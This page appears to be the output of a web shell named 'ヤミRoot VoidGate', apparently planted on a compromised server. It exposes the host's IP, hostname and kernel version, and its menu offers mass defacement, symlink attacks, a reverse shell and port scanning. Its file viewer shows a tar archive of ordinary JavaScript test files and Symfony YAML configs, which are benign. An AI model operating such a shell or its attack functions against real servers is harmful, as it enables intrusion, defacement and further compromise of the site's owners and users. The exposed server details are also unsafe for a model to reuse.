ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: test.tar
index.js 0000644 00000007750 15120024163 0006214 0 ustar 00 'use strict'; var test = require('tape'); var keys = require('object-keys'); var semver = require('semver'); var mockProperty = require('mock-property'); var isCore = require('../'); var data = require('../core.json'); var supportsNodePrefix = semver.satisfies(process.versions.node, '^14.18 || >= 16', { includePrerelease: true }); test('core modules', function (t) { t.test('isCore()', function (st) { st.ok(isCore('fs')); st.ok(isCore('net')); st.ok(isCore('http')); st.ok(!isCore('seq')); st.ok(!isCore('../')); st.ok(!isCore('toString')); st.end(); }); t.test('core list', function (st) { var cores = keys(data); st.plan(cores.length); for (var i = 0; i < cores.length; ++i) { var mod = cores[i]; var requireFunc = function () { require(mod); }; // eslint-disable-line no-loop-func if (isCore(mod)) { st.doesNotThrow(requireFunc, mod + ' supported; requiring does not throw'); } else { st['throws'](requireFunc, mod + ' not supported; requiring throws'); } } st.end(); }); t.test('core via repl module', { skip: !data.repl }, function (st) { var libs = require('repl')._builtinLibs; // eslint-disable-line no-underscore-dangle if (!libs) { st.skip('repl._builtinLibs does not exist'); } else { for (var i = 0; i < libs.length; ++i) { var mod = libs[i]; st.ok(data[mod], mod + ' is a core module'); st.doesNotThrow( function () { require(mod); }, // eslint-disable-line no-loop-func 'requiring ' + mod + ' does not throw' ); if (mod.slice(0, 5) !== 'node:') { if (supportsNodePrefix) { st.doesNotThrow( function () { require('node:' + mod); }, // eslint-disable-line no-loop-func 'requiring node:' + mod + ' does not throw' ); } else { st['throws']( function () { require('node:' + mod); }, // eslint-disable-line no-loop-func 'requiring node:' + mod + ' throws' ); } } } } st.end(); }); t.test('core via builtinModules list', { skip: !data.module }, function (st) { var libs = require('module').builtinModules; if (!libs) { st.skip('module.builtinModules does not exist'); } else { var excludeList = [ '_debug_agent', 'v8/tools/tickprocessor-driver', 'v8/tools/SourceMap', 'v8/tools/tickprocessor', 'v8/tools/profile' ]; // see https://github.com/nodejs/node/issues/42785 if (semver.satisfies(process.version, '>= 18')) { libs = libs.concat('node:test'); } for (var i = 0; i < libs.length; ++i) { var mod = libs[i]; if (excludeList.indexOf(mod) === -1) { st.ok(data[mod], mod + ' is a core module'); st.doesNotThrow( function () { require(mod); }, // eslint-disable-line no-loop-func 'requiring ' + mod + ' does not throw' ); if (mod.slice(0, 5) !== 'node:') { if (supportsNodePrefix) { st.doesNotThrow( function () { require('node:' + mod); }, // eslint-disable-line no-loop-func 'requiring node:' + mod + ' does not throw' ); } else { st['throws']( function () { require('node:' + mod); }, // eslint-disable-line no-loop-func 'requiring node:' + mod + ' throws' ); } } } } } st.end(); }); t.test('Object.prototype pollution', function (st) { var nonKey = 'not a core module'; st.teardown(mockProperty(Object.prototype, 'fs', { value: false })); st.teardown(mockProperty(Object.prototype, 'path', { value: '>= 999999999' })); st.teardown(mockProperty(Object.prototype, 'http', { value: data.http })); st.teardown(mockProperty(Object.prototype, nonKey, { value: true })); st.equal(isCore('fs'), true, 'fs is a core module even if Object.prototype lies'); st.equal(isCore('path'), true, 'path is a core module even if Object.prototype lies'); st.equal(isCore('http'), true, 'path is a core module even if Object.prototype matches data'); st.equal(isCore(nonKey), false, '"' + nonKey + '" is not a core module even if Object.prototype lies'); st.end(); }); t.end(); }); api-test.js 0000644 00000005371 15120134637 0006640 0 ustar 00 var assert = require('assert'); var net = require('net'); var streamPair = require('stream-pair'); var thing = require('handle-thing'); var Buffer = require('buffer').Buffer; var fixtures = require('./fixtures'); var hose = require('../'); describe('Select Hose', function() { var pair; var socket; beforeEach(function() { pair = streamPair.create(); var handle = thing.create(pair.other); socket = new net.Socket({ handle: handle }); // For v0.8 socket.readable = true; socket.writable = true; }); it('should select handler using first byte', function(done) { var filter = hose.create(socket, function filter(data, callback) { if (data[0] === 0x80) return callback(null, 'spdy'); else return callback(null, 'http'); }); filter.on('select', function(protocol, socket) { assert.equal(protocol, 'spdy'); socket.on('data', function(chunk) { assert.equal(chunk.toString('hex'), '80030001'); done(); }); }); pair.write(new Buffer('80030001', 'hex')); }); it('should select handler using two packets', function(done) { var filter = hose.create(socket, function filter(data, callback) { if (data.length < 2) return; if (data[0] === 0x80 && data[1] === 0x03) return callback(null, 'spdy'); else return callback(null, 'http'); }); filter.on('select', function(protocol, socket) { assert.equal(protocol, 'spdy'); socket.on('data', function(chunk) { assert.equal(chunk.toString('hex'), '80030001'); done(); }); }); pair.write(new Buffer('80', 'hex')); setTimeout(function() { pair.write(new Buffer('030001', 'hex')); }, 20); }); it('should read excessive packets', function(done) { var filter = hose.create(socket, function filter(data, callback) { if (data.length < 2) return; if (data[0] === 0x61 && data[1] === 0x62) return callback(null, 'spdy'); else return callback(null, 'http'); }); filter.on('select', function(protocol, socket) { assert.equal(protocol, 'spdy'); fixtures.expectData(socket, 'abcd', done); }); pair.write('a'); setTimeout(function() { pair.write('b'); setTimeout(function() { pair.end('cd'); }, 20); }, 20); }); it('should re-emit errors', function(done) { var filter = hose.create(socket, function filter(data, callback) { if (data.length < 2) return; if (data[0] === 0x61 && data[1] === 0x62) return callback(null, 'spdy'); else return callback(null, 'http'); }); filter.on('error', function(err) { done(); }); socket.emit('error', new Error(123)); }); }); fixtures.js 0000644 00000000445 15120134637 0006760 0 ustar 00 var assert = require('assert'); function expectData(stream, expected, callback) { var actual = ''; stream.on('data', function(chunk) { actual += chunk; }); stream.on('end', function() { assert.equal(actual, expected); callback(); }); } exports.expectData = expectData; foreach_test.js 0000644 00000012611 15120140716 0007546 0 ustar 00 /*global require:true, setTimeout:true */ var forEach = require('../lib/foreach').forEach; exports['foreach'] = { setUp: function(done) { this.order = []; this.track = function() { [].push.apply(this.order, arguments); }; done(); }, 'Synchronous': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); }); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "each", "c", 2, arr ], "should call eachFn for each array item, in order."); test.done(); }, 'Synchronous, done': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); }, function(notAborted, arr) { that.track("done", notAborted, arr); }); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "each", "c", 2, arr, "done", true, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }, 'Synchronous, early abort': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); if (item === "b") { return false; } }, function(notAborted, arr) { that.track("done", notAborted, arr); }); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "done", false, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }, 'Asynchronous': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); var done = this.async(); setTimeout(done, 10); }); setTimeout(function() { test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "each", "c", 2, arr ], "should call eachFn for each array item, in order."); test.done(); }, 100); }, 'Asynchronous, done': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); var done = this.async(); setTimeout(done, 10); }, function(notAborted, arr) { that.track("done", notAborted, arr); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "each", "c", 2, arr, "done", true, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }); }, 'Asynchronous, early abort': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); var done = this.async(); setTimeout(function() { done(item !== "b"); }, 10); }, function(notAborted, arr) { that.track("done", notAborted, arr); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "done", false, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }); }, 'Not actually asynchronous': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); var done = this.async(); done(); }, function(notAborted, arr) { that.track("done", notAborted, arr); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "each", "c", 2, arr, "done", true, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }); }, 'Not actually asynchronous, early abort': function(test) { test.expect(1); var that = this; var arr = ["a", "b", "c"]; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); var done = this.async(); done(item !== "b"); }, function(notAborted, arr) { that.track("done", notAborted, arr); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "b", 1, arr, "done", false, arr ], "should call eachFn for each array item, in order, followed by doneFn."); test.done(); }); }, 'Sparse array support': function(test) { test.expect(1); var that = this; var arr = []; arr[0] = "a"; arr[9] = "z"; forEach(arr, function(item, index, arr) { that.track("each", item, index, arr); }); test.deepEqual(that.order, [ "each", "a", 0, arr, "each", "z", 9, arr ], "should skip nonexistent array items."); test.done(); }, 'Invalid length sanitization': function(test) { test.expect(1); var that = this; var obj = {length: 4294967299, 0: "a", 2: "b", 3: "c" }; forEach(obj, function(item, index, arr) { that.track("each", item, index, arr); }); test.deepEqual(that.order, [ "each", "a", 0, obj, "each", "b", 2, obj ], "should sanitize length property (ToUint32)."); test.done(); } }; test.js 0000644 00000016331 15120211432 0006054 0 ustar 00 'use strict'; var expect = require('expect.js'); var promiseRetry = require('../'); var promiseDelay = require('sleep-promise'); describe('promise-retry', function () { it('should call fn again if retry was called', function () { var count = 0; return promiseRetry(function (retry) { count += 1; return promiseDelay(10) .then(function () { if (count <= 2) { retry(new Error('foo')); } return 'final'; }); }, { factor: 1 }) .then(function (value) { expect(value).to.be('final'); expect(count).to.be(3); }, function () { throw new Error('should not fail'); }); }); it('should call fn with the attempt number', function () { var count = 0; return promiseRetry(function (retry, number) { count += 1; expect(count).to.equal(number); return promiseDelay(10) .then(function () { if (count <= 2) { retry(new Error('foo')); } return 'final'; }); }, { factor: 1 }) .then(function (value) { expect(value).to.be('final'); expect(count).to.be(3); }, function () { throw new Error('should not fail'); }); }); it('should not retry on fulfillment if retry was not called', function () { var count = 0; return promiseRetry(function () { count += 1; return promiseDelay(10) .then(function () { return 'final'; }); }) .then(function (value) { expect(value).to.be('final'); expect(count).to.be(1); }, function () { throw new Error('should not fail'); }); }); it('should not retry on rejection if retry was not called', function () { var count = 0; return promiseRetry(function () { count += 1; return promiseDelay(10) .then(function () { throw new Error('foo'); }); }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); expect(count).to.be(1); }); }); it('should not retry on rejection if nr of retries is 0', function () { var count = 0; return promiseRetry(function (retry) { count += 1; return promiseDelay(10) .then(function () { throw new Error('foo'); }) .catch(retry); }, { retries : 0 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); expect(count).to.be(1); }); }); it('should reject the promise if the retries were exceeded', function () { var count = 0; return promiseRetry(function (retry) { count += 1; return promiseDelay(10) .then(function () { throw new Error('foo'); }) .catch(retry); }, { retries: 2, factor: 1 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); expect(count).to.be(3); }); }); it('should pass options to the underlying retry module', function () { var count = 0; return promiseRetry(function (retry) { return promiseDelay(10) .then(function () { if (count < 2) { count += 1; retry(new Error('foo')); } return 'final'; }); }, { retries: 1, factor: 1 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); }); }); it('should convert direct fulfillments into promises', function () { return promiseRetry(function () { return 'final'; }, { factor: 1 }) .then(function (value) { expect(value).to.be('final'); }, function () { throw new Error('should not fail'); }); }); it('should convert direct rejections into promises', function () { promiseRetry(function () { throw new Error('foo'); }, { retries: 1, factor: 1 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); }); }); it('should not crash on undefined rejections', function () { return promiseRetry(function () { throw undefined; }, { retries: 1, factor: 1 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err).to.be(undefined); }) .then(function () { return promiseRetry(function (retry) { retry(); }, { retries: 1, factor: 1 }); }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err).to.be(undefined); }); }); it('should retry if retry() was called with undefined', function () { var count = 0; return promiseRetry(function (retry) { count += 1; return promiseDelay(10) .then(function () { if (count <= 2) { retry(); } return 'final'; }); }, { factor: 1 }) .then(function (value) { expect(value).to.be('final'); expect(count).to.be(3); }, function () { throw new Error('should not fail'); }); }); it('should work with several retries in the same chain', function () { var count = 0; return promiseRetry(function (retry) { count += 1; return promiseDelay(10) .then(function () { retry(new Error('foo')); }) .catch(function (err) { retry(err); }); }, { retries: 1, factor: 1 }) .then(function () { throw new Error('should not succeed'); }, function (err) { expect(err.message).to.be('foo'); expect(count).to.be(2); }); }); it('should allow options to be passed first', function () { var count = 0; return promiseRetry({ factor: 1 }, function (retry) { count += 1; return promiseDelay(10) .then(function () { if (count <= 2) { retry(new Error('foo')); } return 'final'; }); }).then(function (value) { expect(value).to.be('final'); expect(count).to.be(3); }, function () { throw new Error('should not fail'); }); }); }); dirs.js 0000644 00000002525 15120331354 0006044 0 ustar 00 var test = require('tape'); var commondir = require('../'); test('common', function (t) { t.equal( commondir([ '/foo', '//foo/bar', '/foo//bar/baz' ]), '/foo' ); t.equal( commondir([ '/a/b/c', '/a/b', '/a/b/c/d/e' ]), '/a/b' ); t.equal( commondir([ '/x/y/z/w', '/xy/z', '/x/y/z' ]), '/' ); t.equal( commondir([ 'X:\\foo', 'X:\\\\foo\\bar', 'X://foo/bar/baz' ]), 'X:/foo' ); t.equal( commondir([ 'X:\\a\\b\\c', 'X:\\a\\b', 'X:\\a\\b\\c\\d\\e' ]), 'X:/a/b' ); t.equal( commondir([ 'X:\\x\\y\\z\\w', '\\\\xy\\z', '\\x\\y\\z' ]), '/' ); t.throws(function () { commondir([ '/x/y/z/w', 'qrs', '/x/y/z' ]); }); t.end(); }); test('base', function (t) { t.equal( commondir('/foo/bar', [ 'baz', './quux', '../bar/bazzy' ]), '/foo/bar' ); t.equal( commondir('/a/b', [ 'c', '../b/.', '../../a/b/e' ]), '/a/b' ); t.equal( commondir('/a/b/c', [ '..', '../d', '../../a/z/e' ]), '/a' ); t.equal( commondir('/foo/bar', [ 'baz', '.\\quux', '..\\bar\\bazzy' ]), '/foo/bar' ); // Tests including X:\ basedirs must wait until path.resolve supports // Windows-style paths, starting in Node.js v0.5.X t.end(); }); framework.yaml 0000644 00000000125 15120425545 0007426 0 ustar 00 framework: test: true session: storage_id: session.storage.mock_file twig.yaml 0000644 00000000041 15120425545 0006400 0 ustar 00 twig: strict_variables: true validator.yaml 0000644 00000000103 15120425545 0007412 0 ustar 00 framework: validation: not_compromised_password: false
Coded With 💗 by
0x6ick